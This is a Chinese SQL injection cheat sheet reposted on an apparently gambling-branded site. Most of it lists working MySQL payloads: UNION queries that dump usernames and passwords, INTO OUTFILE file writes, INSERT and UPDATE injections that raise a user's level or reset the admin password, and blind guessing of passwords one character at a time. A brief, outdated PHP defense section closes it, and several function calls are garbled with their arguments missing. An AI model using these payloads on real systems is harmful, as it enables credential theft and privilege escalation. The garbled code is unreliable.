威尼斯888_www.wns888.com_威尼斯wns888官网
做最好的网站
威尼斯888 > 计算机网络 / 编程 > 学完之后写了点笔记

原标题:学完之后写了点笔记

浏览次数:71 时间:2020-01-18

SQL注入的重点就是构造SQL语句,只有灵活的运用SQL 语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了 解SQL的基本原理。笔记中的代码来自网络。 ===基础部分=== 本表查询: ' and LENGTH='6 ' and LEFT='m Union联合语句: ' union select 1,username,password from user/* ' union select 1,username,password from user/* 导出文件: ' into outfile 'c:/file.txt ' or 1=1 into outfile 'c:/file.txt ' union select 1,username,password from user into outfile 'c:/user.txt INSERT语句: INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1'); 构造homepage值为:', '3')# SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', '', '3')#', '1'); UPDATE语句:我喜欢这样个东西 先理解这句SQL UPDATE user SET password='MD5', homepage='$homepage' WHERE id='$id' 如果此SQL被修改成以下形式,就实现了注入 1:修改homepage值为 ', userlevel='3 之后SQL语句变为 UPDATE user SET password='mypass', homepage='', userlevel='3' WHERE id='$id' userlevel为用户级别 2:修改password值为 mypass)' WHERE username='admin'# 之后SQL语句变为 UPDATE user SET password='MD5' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id' 3:修改id值为 ' OR username='admin' 之后SQL语句变为 UPDATE user SET password='MD5', homepage='$homepage' WHERE id='' OR username='admin' ===高级部分=== 常用的MySQL内置函数 DATABASE SYSTEM_USER CURRENT_USER version char …… 函数应用 UPDATE article SET title=DATABASE() WHERE id=1 union select 1,database SELECT * FROM user WHERE username=char # char 相当于angel,十进制 and password=char(109,121,112,97,115,115) and LEFT and ord>111 确定数据结构的字段个数及类型 union select 1,1,1 union select char 猜数据表名 union select 1,1,1 from members 跨表查询得到用户名和密码 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 其他 #验证第一位密码 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord=49 ===注入防范=== 服务器方面 magic_quotes_gpc设置为On display_errors设置为Off 编码方面 $keywords = addslashes; $keywords = str_replace; $keywords = str_replace; 数值类型 使用intval()抓换 字符串类型 SQL语句参数中要添加单引号 下面代码,用于防治注入 if (get_magic_quotes_gpc { //.... }else{ $str = mysql_real_escape_string; $keywords = str_replace; $keywords = str_replace; } 有用的函数 stripslashes() get_magic_quotes_gpc() mysql_real_escape_string array_map 参考文章: (SQL Injection with MySQL)中文

本文由威尼斯888发布于计算机网络 / 编程,转载请注明出处:学完之后写了点笔记

关键词:

上一篇:jixin代表发信人地址

下一篇:没有了